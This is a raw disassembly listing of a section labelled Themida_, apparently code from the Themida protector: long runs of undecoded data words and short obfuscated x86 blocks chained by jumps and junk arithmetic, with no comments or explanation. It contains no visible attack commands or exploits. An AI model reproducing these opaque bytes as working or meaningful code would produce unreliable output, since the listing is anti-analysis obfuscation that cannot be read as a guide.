		dd 8900007Dh, 0FF682404h, 58FFFFFFh, 0E9244729h, 90B1h
		dd 0E9243489h, 0FFFFFEDEh, 8CE7815Fh, 0F7483E7Eh, 7E7C1DFh
		dd 0FE02F781h, 0FD89EDDBh, 2008E95Fh, 0C80F0000h, 5F468h
		dd 24048900h, 0FFD874E9h, 0C8B66FFh, 0EC835024h, 48F5404h
		dd 24048124h, 4, 8324048Bh, 40504C4h, 55000000h, 2F716853h
		dd 54E933C5h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55639B:				; CODE XREF: Themida_:0055AACFj
		sub	al, 21h
		jmp	loc_55F26A
; ---------------------------------------------------------------------------


loc_5563A2:				; CODE XREF: Themida_:00556E66j
		pop	eax
		and	ecx, esi
		jmp	loc_554FC4
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E4E9240Ch, 6800009Fh, 1B07h, 0BA241489h, 4,	0E95AD301h
		dd 0BB1h, 75D168h, 4EE7E900h, 0F5810000h, 6C445B1Bh, 0DEFBC581h
		dd 0E9011248h, 8877E95Dh, 525D0000h, 53A2E9h, 0CCC38100h
		dd 8137A437h, 7AE855C3h, 5BD829D1h, 0E955F001h,	0FFFFE941h
		dd 9196852h, 4890000h, 656FE924h, 0F660000h, 9C2404BBh
		dd 0FFD7C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55641D:				; CODE XREF: Themida_:0055C355j
		push	edi
		push	edx
		push	135C5CB3h
		pop	edx
		xor	edx, 2FA37FB3h
		jmp	loc_55E7B0
; ---------------------------------------------------------------------------


loc_556430:				; CODE XREF: Themida_:0055453Bj
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55F5D9
; ---------------------------------------------------------------------------
		dd 0F17EB80h, 48FC0B6h,	0D7E5E987h, 0EE81FFFFh,	2CCE0935h
		dd 0F5E9F029h, 6800002Fh, 0
		dd 0E9240C28h, 0FFFFD7D0h, 4240481h, 8B000000h,	0C481242Ch
		dd 4, 4C581h, 0BA520000h, 2, 2E41E9h, 0D753E900h, 0D031FFFFh
		dd 5A2434FFh, 0C8B5451h, 4C48324h, 661868h, 329EE900h
		dd 0F7800000h, 0B25266F7h, 0EAEF8074h, 0C780D700h, 505A66EAh
		dd 292C2AB0h, 8058C700h, 0B5E994EFh, 81000062h,	0FB497DF5h
		dd 66816806h, 3C890000h, 11FEBF24h, 2EE96397h, 88FFFFE7h
		dd 5BFA88C7h, 0E9332C58h, 0FFFFD767h, 4EC835Ch,	53242C89h
		dd 2DAB0E68h, 7BE95B38h, 28000072h, 24148BF3h, 4C481h
		dd 0EC810000h, 2, 5559E9h, 89E95D00h, 0BE000033h, 375F517Ch
		dd 10FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_556529:				; CODE XREF: Themida_:00557893j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		push	ebx
		jmp	loc_55A4EF
; ---------------------------------------------------------------------------


loc_55655B:				; CODE XREF: Themida_:00558D1Dj
		pop	esp
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_55F0EA
; ---------------------------------------------------------------------------
		dd 240C8B66h, 622A68h, 243C8900h, 0F5F0E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55657A:				; CODE XREF: Themida_:0055D1EBj
		mov	ch, bl
		pop	ebx
		jmp	loc_5590EF
; ---------------------------------------------------------------------------
		dw 17B6h
aAMqPIy		db '€ÃŒQµP(ëY',0
		dw 80F3h
		dd 80E950C3h, 5BFFFFE8h, 3DB7E9h, 0B4ED8100h, 5A6D646Fh
		dd 2474FF55h, 2D47E904h, 1C8B0000h, 4C48324h, 8B241487h
		dd 4092424h, 22E99C24h,	81FFFFD6h, 4C4h, 0ACB85000h, 312C7608h
		dd 28E958C7h, 66000024h, 83240C8Bh, 0E5E904ECh,	0AC000079h
		dd 559BE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	6253h
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_558D0B
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 5B2414F7h, 53934093h, 5B2414F7h, 0B239C381h,	82E9949Fh
		dd 54FFFFF1h, 81242C8Bh, 4C4h, 4C58100h, 81000000h, 4EDh
		dd 7DF9E900h, 0E9800000h, 2E1C058h, 155BE9h, 80D9F600h
		dd 0B3E9A8C1h, 55000093h, 4482E9h, 36C18100h, 0E9668224h
		dd 0FFFFE0FBh, 0E904EC83h, 68BBh, 4EC8153h, 89000000h
		dd 6CBE2434h, 0BB71F050h, 0D3C2E89Ch, 39E3EB81h, 0F3011D1Eh
		dd 39E3C381h, 2AE91D1Eh
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5566B7:				; CODE XREF: Themida_:0055599Aj
		push	ebx
		jmp	loc_55E252
; ---------------------------------------------------------------------------


loc_5566BD:				; CODE XREF: Themida_:00559FD9j
		add	edi, 0E2A32770h
		add	edx, 18242161h
		add	edx, edi
		sub	edx, 18242161h
		pop	edi
		jmp	loc_55606D
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9455EF5h, 48B4h, 4BB53h, 0DF010000h, 81241C8Bh, 4C4h
		dd 243C8700h, 2869E9h, 2A51B800h, 0F7502ED4h, 0E958241Ch
		dd 0FDDh, 4B8h,	1616E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556712:				; CODE XREF: Themida_:0055FAC3j
		mov	edi, 65530958h
		or	edi, 6B3F77E4h
		xor	edi, 69313562h
		inc	edi
		add	edi, 0F9B1B565h
		jmp	loc_55DF56
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE92404h, 81000055h, 9DF7A2C6h, 5EF02917h, 8B92E9h
		dd 39E78100h, 817ED068h, 0FFFFFFEFh, 15F781FFh,	116C020h
		dd 0BD555FF9h, 4, 875DE901h, 88E9240Ch,	51FFFFE5h, 0AF62A0B9h
		dd 59CA01E3h, 0DE0B7105h, 2DD0296Fh, 6FDE0B71h,	4FB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_556785:				; CODE XREF: Themida_:0055ECFEj
		mov	eax, 64032959h
		not	eax
		xor	eax, 15D43BD7h
		jmp	loc_5593BE
; ---------------------------------------------------------------------------
		dw 6BB0h
		dd 0E0E93834h, 0BBFFFFECh, 10AD276Fh, 34FFD801h, 241C8B24h
		dd 8104C483h, 4C4h, 35685700h, 0E900722Fh, 91A9h, 0E3E9EFD0h
		dd 8BFFFFFCh, 3AE9241Ch, 88000018h, 5AF388EEh, 8904EC83h
		dd 8852240Ch, 56F9E9DEh, 0C1810000h, 0F16D4D0Eh, 1E9C801h
		dd 5A00006Ah, 0E904C483h, 249Ch, 0FFD3E8E9h, 7EBC0FFh
		dd 0E953CB80h, 75E5h, 148BD501h, 4C48124h, 8B000000h, 0C4812404h
		dd 4, 8702C583h, 665C242Ch, 2404BB0Fh, 0D3B7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55682E:				; CODE XREF: Themida_:00558EFFj
		add	edx, 0FFFFFFC0h
		add	ebp, edx
		pop	edx
		jmp	loc_55E854
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 48B2434h, 4C48124h, 68000000h, 3E5Bh, 89242C89h
		dd 4C581E5h, 83000000h,	2C8704C5h, 24248B24h, 8904EC83h
		dd 28E9240Ch, 8700001Fh, 2DE92414h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556877:				; CODE XREF: Themida_:005569D9j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55AEA4
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 47h
		dd 8B497123h, 57E92404h, 8000003Dh, 80E9B7C6h, 81000010h
		dd 1B41CF3h, 5BD801F8h,	0D909E955h, 0E95BFFFFh,	1677h
; ---------------------------------------------------------------------------


loc_5568B0:				; CODE XREF: Themida_:00559C3Ej
		mov	esp, [esp]
		sub	dword ptr [esp], 6F343CE4h
		sub	dword ptr [esp], 727A51F4h
		sub	esp, 4
		jmp	loc_55B75B
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 5C241487h, 3D3AB951h, 4CE945EAh, 5300009Ah, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 1DB22414h, 0FE02B151h, 3AF180C9h
		dd 5047E180h, 0FFE93CB4h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556903:				; CODE XREF: Themida_:00558F5Dj
		mov	[esp], edx
		push	17B0h
		mov	[esp], ebp
		push	esi
		push	4E091E6Ah
		pop	esi
		add	esi, 4D9D3CECh
		add	esi, 2ABF5B6Bh
		shl	esi, 1
		sub	esi, 8CCB6D5Eh
		mov	ebp, esi
		pop	esi
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5551D1
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4E0894BAh, 79912D02h, 0D0016A8Eh, 8E799105h,	25E95A6Ah
		dd 5AFFFFEBh, 66C9C380h, 0B6B151h, 0C8B66CBh, 2C48124h
		dd 80000000h, 94E960EBh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55696F:				; CODE XREF: Themida_:0055F26Cj
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 20h
		jmp	loc_55F5BD
; ---------------------------------------------------------------------------


loc_556980:				; CODE XREF: Themida_:005577FAj
		push	ecx
		mov	ecx, 4
		push	edx
		jmp	loc_555E3E
; ---------------------------------------------------------------------------
		dd 0F681DEF7h, 0F7F98BBAh, 0FFEDEEE9h, 4E981FFh, 87000000h
		dd 895C240Ch, 0E389241Ch, 4C381h, 0BA520000h, 2, 148BD301h
		dd 8B6DE924h, 0E95B0000h, 9786h
; ---------------------------------------------------------------------------


loc_5569C4:				; CODE XREF: Themida_:0055C8A1j
		or	ebx, 3015372Ch
		and	ebx, 0CC300E4h
		sub	ebx, 0F485D01Bh
		sub	esi, ebx
		pop	ebx
		jmp	loc_556877
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFD29Fh, 1EF1E981h, 91E9D984h, 5FFFFD6h, 172135BEh
		dd 0FFDDC5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5569F9:				; CODE XREF: Themida_:0055B9DFj
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55C604
; ---------------------------------------------------------------------------


loc_556A08:				; CODE XREF: Themida_:00559948j
		mov	ebx, 7DBD4653h
		shr	ebx, 1
		shl	ebx, 4
		neg	ebx
		sub	ebx, 0C982AD37h
		xor	esi, ebx
		pop	ebx
		xor	eax, esi
		pop	esi
		jmp	loc_554A38
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 81DFF74Fh, 0A8EE76F7h, 9EA81D0h, 0E918AF01h,	1CA6h
		dd 2066E4B9h, 81D9F73Ah, 119AD9F1h, 6AA3BA99h, 1DE9E41Eh
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A53:				; CODE XREF: Themida_:00554AF8j
		mov	[esp], ebp
		mov	ebp, 394D3DD1h
		inc	ebp
		push	esi
		push	ebx
		push	296379C8h
		pop	ebx
		jmp	loc_55BDCB
; ---------------------------------------------------------------------------
		db 47h,	0C1h, 0E7h
		dd 0D7874705h, 0F8E9D2F7h, 25FFFFEEh, 10B249Fh,	4721AD2Dh
		dd 0D120525h, 82057760h, 0E918D75Bh, 0D52h, 0CF1E3BBFh
		dd 64EF8133h, 0E97DAD46h, 5F13h, 0C380585Ah, 7689E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556AAA:				; CODE XREF: Themida_:005562BCj
		pop	edi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5543F9
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55C932
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 58E90000h, 81000061h, 0E1429EBh, 0C3815D74h
		dd 4, 0E9241C87h, 0FFFFFA04h, 0E904C283h, 5064h, 4BFh
		dd 5FFE0100h, 8704C683h, 248B2434h, 6FB65224h, 4789E9h
		db 0
; ---------------------------------------------------------------------------


loc_556B0D:				; CODE XREF: Themida_:0055A1B5j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 696C0255h
		jmp	loc_55C326
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4F4962B4h, 293ABE56h, 0E6C127B1h, 60CE8108h
		dd 4E7DAF59h, 5311E9h, 88C78100h, 0F76A5076h, 6EFC1D7h
		dd 8F04F781h, 0F8896935h, 34E3E9h, 0E0E95800h, 80FFFFE0h
		dd 32E9A4EBh, 51FFFFDBh, 2819E9h, 0E9555800h, 5F61h, 5866E688h
		dd 0F000DA2Ch, 0F3E9DA04h, 5AFFFFD5h, 0FFF32FE9h, 81E289FFh
		dd 4C2h, 5952E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556B92:				; CODE XREF: Themida_:0055BFCAj
		and	ebx, 3214580h
		jmp	loc_55FD2F
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 0D03FE99Ch, 0C89FFFFh, 81E18924h, 4C1h, 4C18300h, 2D9DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556BB9:				; CODE XREF: Themida_:0055DF59j
		push	edx
		mov	edx, 710B3910h
		and	edx, 6FC1744h
		jmp	loc_558EF0
; ---------------------------------------------------------------------------


loc_556BCA:				; CODE XREF: Themida_:0055B58Bj
		pop	ebx
		pop	edx
		pop	eax
		mov	edx, ebx
		jmp	loc_55D8C3
; ---------------------------------------------------------------------------
aS_5		db '^é-)',0
		align 2
		dw 0C483h
		dd 241C3304h, 0E9241C31h, 0FFFFD3B4h, 20FBC281h, 0EA292CD9h
		dd 20FBEA81h, 0EA812CD9h, 5DEF6F6Ah, 2414875Dh,	8924248Bh
		dd 9C502414h, 0FFCFD8E9h, 0E9B850FFh, 53D9A6Ah,	2B17C74Dh
		dd 8158C121h, 6920D9E9h, 1CD2E92Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C26:				; CODE XREF: Themida_:00557909j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		db 0BBh, 2 dup(0)
		dd 0D3010000h, 4713E9h,	59CF8900h, 3143E9h
		db 0
; ---------------------------------------------------------------------------


loc_556C4D:				; CODE XREF: Themida_:0055D91Fj
		xchg	ebp, [esp]
		jmp	loc_55B5B0
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0BD581FBEh, 5EF38927h, 34FFD831h, 2434FF24h,	46B0E9h
		dd 241C8900h, 42474FFh,	267E9h,	244C0100h, 240C8B04h, 81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 83243C8Bh, 0C78104C4h, 4
		dd 8702C783h, 248B243Ch, 242CD324h, 0CF37E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556CAE:				; CODE XREF: Themida_:0055BDB1j
		push	8CCh
		jmp	loc_55D1E5
; ---------------------------------------------------------------------------


loc_556CB8:				; CODE XREF: Themida_:00558817j
		add	ecx, 4
		jmp	loc_557D7A
; ---------------------------------------------------------------------------


loc_556CC3:				; CODE XREF: Themida_:0055610Cj
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_556194
; ---------------------------------------------------------------------------
aQsHiv		db 'QS·~hëv',0
		dw 0E900h
		dd 3015h
; ---------------------------------------------------------------------------


loc_556CEC:				; CODE XREF: Themida_:0055C1B6j
		not	ah
		xor	ah, 81h
		sub	ah, 0FFh
		xor	ah, 0Eh
		xor	ah, 72h
		push	ebx
		mov	bl, ah
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		pop	ebx
		pop	eax
		sub	bl, 8Eh
		sub	bl, cl
		add	bl, 8Eh
		jmp	loc_55BE7E
; ---------------------------------------------------------------------------


loc_556D12:				; CODE XREF: Themida_:0056024Fj
		pop	ecx
		push	ebp
		jmp	loc_55CAA1
; ---------------------------------------------------------------------------


loc_556D19:				; CODE XREF: Themida_:0055A741j
		push	ebp
		jmp	loc_5602AE
; ---------------------------------------------------------------------------
		db 58h
		dd 283CC380h, 311AE9CBh, 0C4810000h, 2,	51EBE9h, 1C77FF00h
		dd 6659669Dh, 9C241CD3h, 0FFCEA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D45:				; CODE XREF: Themida_:00559FC1j
		pop	ebx
		shl	ebx, 3
		sub	ebx, 4F58566Ch
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	eax, 4E0C7562h
		add	eax, edi
		push	ebx
		mov	ebx, 4B2803FCh
		xor	ebx, 600B51EAh
		inc	ebx
		push	ebp
		mov	ebp, 48A63B2Dh
		jmp	loc_55C7FC
; ---------------------------------------------------------------------------
		db 66h
		dd 660E5368h, 0B0240489h, 66C128DFh, 80D9F658h,	6704AAE9h
		dd 0CEE9C800h, 33FFFFD8h, 6FE92404h, 1FFFFE4h, 24148BD1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_555659
; ---------------------------------------------------------------------------


loc_556DB4:				; CODE XREF: Themida_:00556068j
		push	esi
		jmp	loc_55D762
; ---------------------------------------------------------------------------


loc_556DBA:				; CODE XREF: Themida_:0055C371j
		pop	edi
		sub	eax, 62E97725h
		jmp	loc_55BF5F
; ---------------------------------------------------------------------------
aNs_0		db '­é -',0
		db 0
; ---------------------------------------------------------------------------


loc_556DCB:				; CODE XREF: Themida_:005588ECj
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	esi
		push	75AAh
		mov	[esp], ecx
		mov	ecx, 448E5D82h
		push	ecx
		jmp	loc_555123
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 20h,	3101F901h, 24348B59h, 0FFECDFE9h, 241C33FFh, 33241C31h
		dd 0D2E9241Ch, 80FFFFE7h, 0D328F7EBh, 8BF7C380h, 62E92414h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556E1F:				; CODE XREF: Themida_:00554818j
		push	ebp
		jmp	loc_55BA9D
; ---------------------------------------------------------------------------
		db 28h,	0D3h, 0FFh
		dd 815A2434h, 4C4h, 0C9EB8000h,	0E9C0B60Fh, 3C2Dh, 7940BE56h
		dd 0B8505FE7h, 6B320793h, 0CE76540Dh, 8779E92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556E52:				; CODE XREF: Themida_:00555ADBj
		sub	eax, ebx
		pop	ebx
		sub	eax, 40124DAAh
		or	eax, 1D096C90h
		sub	eax, 0FF2DFCF8h
		mov	esi, eax
		jmp	loc_5563A2
; ---------------------------------------------------------------------------
		db 68h
		dd 70DAh, 8F06E9h, 59CB0800h, 0FE1FB252h, 0FEEA80CAh, 0D0D8CA80h
		dd 50F280E2h, 9DE9D328h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556E8F:				; CODE XREF: Themida_:005551B3j
		pop	edx
		jmp	loc_55E463
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 42Dh, 24048700h, 2424895Ch, 0FFF5C3E9h, 0FED9F6FFh
		dd 27B050C9h, 0FFF0A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556EB5:				; CODE XREF: Themida_:0055D3EFj
		push	eax
		mov	eax, 10C77670h
		mov	ebp, eax
		pop	eax
		not	ebp
		shl	ebp, 4
		shr	ebp, 7
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55A236
; ---------------------------------------------------------------------------
aYsI		db 'YéÉi',0
		align 10h
		dd 24048F5Bh, 824248Bh,	0E99C2404h, 0FFFFCCF5h,	0E904C483h
		dd 35A0h, 240C8B66h, 6D4068h, 24048900h, 0BF57E089h, 438D331Bh
		dd 5550E781h, 0C7813639h, 7ADB393Dh, 190BD55h, 0EDC12C21h
		dd 3AC58103h, 81193E47h, 0BA2DA3F5h, 0D7B6E91Ah, 8B66FFFFh
		dd 0EC832404h, 24148904h, 765E9h, 24348B00h, 8B55E9h, 4BE5600h
		dd 1000000h, 62E95EF1h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556F57:				; CODE XREF: Themida_:0055F66Aj
		sub	esp, 4
		jmp	loc_55FA58
; ---------------------------------------------------------------------------
		db 29h
		dd 0E28952D8h, 4C281h, 0EA810000h, 4, 5C241487h, 8592E9h
		dd 2BF5700h, 1000000h, 2434FFFBh, 4C4835Fh, 5C241C87h
		dd 9C2424D3h, 0FFCC50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F95:				; CODE XREF: Themida_:0055D27Ej
		push	ecx
		mov	ecx, 54F90DB0h
		add	[esp+8], ecx
		pop	ecx
		pop	eax
		jmp	loc_55996F
; ---------------------------------------------------------------------------
aQsphf3		db 'QSPhä3',0
		align 2
		dw 0C89h
		dd 88F58824h, 0F6E959ECh, 1000012h, 53E952C1h, 8B00005Ah
		dd 0F7662424h, 595451E1h, 1C168h, 28D8E900h, 1C890000h
		dd 4BB24h, 0E4E90000h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556FE3:				; CODE XREF: Themida_:0055D6F5j
		sub	al, dh
		pop	edx
		sub	al, dl
		add	al, 8Eh
		jmp	loc_555F76
; ---------------------------------------------------------------------------
		db 5Bh
		dd 3F07E381h, 0EB815942h, 11402EFFh, 1C8BDD89h,	4C48124h
		dd 1000000h, 242C8BE8h,	3304C483h, 4312404h, 24043324h
		dd 0D324248Bh, 0E99C2404h, 0FFFFCBC1h, 0BCE95758h, 55000011h
		dd 0F6B85052h, 0E94F5A5Ch, 0FFFFFA3Fh, 413ACE81h, 0E6C160F5h
		dd 3ECE8105h, 81541A54h, 986A3F6h, 0E9F229E2h, 15CFh, 4246C29h
		dd 4246C81h, 585469A2h,	4244481h, 6E2828ECh, 0CB77E95Dh
		dd 0BE56FFFFh, 22D963A6h, 575EF031h, 7344BFh, 5FF83142h
		dd 88C08305h, 0D8C28184h, 121C262h, 927FE9C2h, 0F9010000h
		dd 0FFECFFE9h, 48B66FFh, 5D545524h, 4C581h, 0E9530000h
		dd 0FFFFD1BBh, 0BE742F05h, 0C6315D1Dh, 8324048Bh, 770904C4h
		dd 22E95E1Ch
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5570C3:				; CODE XREF: Themida_:0055816Dj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55AF05
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 4
		dd 35E9D1F7h, 0E9FFFFE6h, 0FFFFCB05h, 2C581h, 2C870000h
		dd 26A0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5570EE:				; CODE XREF: Themida_:0055A897j
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_555A60
; ---------------------------------------------------------------------------
		dw 285Ah
		dd 4EC83C8h, 0B5240C89h, 3AED80D9h, 80F2CD80h, 170467F5h
		dd 0FFD079E9h, 0C38143FFh, 53A25AE6h, 1388C301h, 5B2434FFh
		dd 7938E9h, 0C8B6600h, 2FF86824h, 3C890000h, 4096E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557142:				; CODE XREF: Themida_:005553DCj
		mov	ebp, esp
		push	5CB6h
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		push	7209h
		mov	[esp], ecx
		push	eax
		push	7756BA9h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 5D8E53F3h
		jmp	loc_55993A
; ---------------------------------------------------------------------------


loc_557187:				; CODE XREF: Themida_:005596E7j
		or	edx, eax
		shl	edx, 1
		jmp	loc_55A922
; ---------------------------------------------------------------------------


loc_557190:				; CODE XREF: Themida_:005603CBj
		mov	edx, 4
		add	ebx, edx
		jmp	loc_558412
; ---------------------------------------------------------------------------
		dd 15EF329h, 14875BDAh,	24248B24h, 0FFCA38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571AD:				; CODE XREF: Themida_:0055E71Dj
		pop	esi
		sub	eax, 612AB36Bh
		or	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 3C8C3B56h
		jmp	loc_556180
; ---------------------------------------------------------------------------
		db 66h,	5, 27h
		dd 0D8016600h, 26BE6656h, 0EE816617h, 0C1667FDAh, 96E906EEh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571E3:				; CODE XREF: Themida_:005586FEj
		sub	eax, 0F63B339Ch
		xor	ebp, eax
		pop	eax
		sub	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_557FAA
; ---------------------------------------------------------------------------


loc_5571FC:				; CODE XREF: Themida_:0055A23Dj
		mov	ebx, 5AC46B31h
		or	ebp, ebx
		pop	ebx
		sub	ebp, 206F3028h
		sub	esi, 5DEE6843h
		sub	esi, ebp
		add	esi, 5DEE6843h
		mov	ebp, [esp]
		add	esp, 4
		dec	esi
		xor	esi, 0AC478DC3h
		jmp	loc_5544EC
; ---------------------------------------------------------------------------


loc_55722D:				; CODE XREF: Themida_:0055828Dj
		add	eax, 77945CDAh
		jmp	loc_55C44E
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F78004E7h, 80CFFE6Ch, 0F78086C7h, 5BF80012h, 992CE52Ch
		dd 56B3E956h, 0C1810000h, 3C6A2C5Ch, 50242C8Bh,	405E089h
		dd 83000000h, 48704C0h,	1396E924h, 8D2D0000h, 8B38B358h
		dd 5457243Ch, 4C7815Fh,	56000000h, 4BEh, 5EF70100h, 8B243C87h
		dd 55522424h, 7BB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_557295:				; CODE XREF: Themida_:005595E0j
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_55BCD9
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55546D
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 287BB200h, 0EA805BFAh, 0FB45E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572CA:				; CODE XREF: Themida_:0055C69Dj
		add	edi, 5EBF5DC2h
		sub	edi, 0B5A6042h
		add	edi, 692E33F1h
		std
		sub	esp, 4
		mov	[esp], edx
		push	29EE3D58h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_555831
; ---------------------------------------------------------------------------


loc_5572F4:				; CODE XREF: Themida_:00557D83j
		xor	[esp], ecx
		jmp	loc_55FF27
; ---------------------------------------------------------------------------
		dd 0FFFFFF2Dh, 3D0D25FFh, 0E1E95F19h, 81FFFFE2h, 6B03A2EFh
		dd 5F515767h, 0F62E9h, 0E9028F00h, 0FFFFC8C5h, 8324148Bh
		dd 0F72904C4h, 243C335Eh, 2739E9h, 5C7ABB00h, 0F3813737h
		dd 0D4687Eh, 0FFE10EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557341:				; CODE XREF: Themida_:00557EEBj
		push	ebp
		mov	ebp, 32640906h
		mov	ecx, 5C65095Bh
		sub	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55C40C
; ---------------------------------------------------------------------------
		dw 0C1FEh
		dd 9014E9h, 0F9E95600h,	6800003Bh, 72CEh, 52241C89h, 2CECE9h
		dd 0B634B300h, 5BDE3016h, 0F65AF488h, 5792E9D4h, 0D3010000h
		dd 0E904EC83h, 58BEh
; ---------------------------------------------------------------------------


loc_55738C:				; CODE XREF: Themida_:0055B64Cj
		sub	edx, 69386338h
		jmp	loc_56023C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 2C18104h, 87000000h, 0B1E9240Ch,	81000007h
		dd 311F15C7h, 81EF0130h, 311F15EFh, 242C8B30h, 81E38953h
		dd 4C3h, 4C38300h, 0E9241C87h, 16Ah
; ---------------------------------------------------------------------------


loc_5573D0:				; CODE XREF: Themida_:00554D39j
		pop	ecx
		mov	al, bh
		pop	ebx
		mov	cl, al
		pop	eax
		push	ebx
		mov	bh, cl
		mov	[edi+eax*4], bh
		pop	ebx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_555986
; ---------------------------------------------------------------------------
		db 53h,	55h, 68h
		dd 542C3DBDh, 81DDF75Dh, 2C3DBFC5h, 5DEB8954h, 0E95BDD01h
		dd 3D9Ch, 0E904C483h, 458Ah, 0E950C329h, 0FFFFD468h, 8103EAC1h
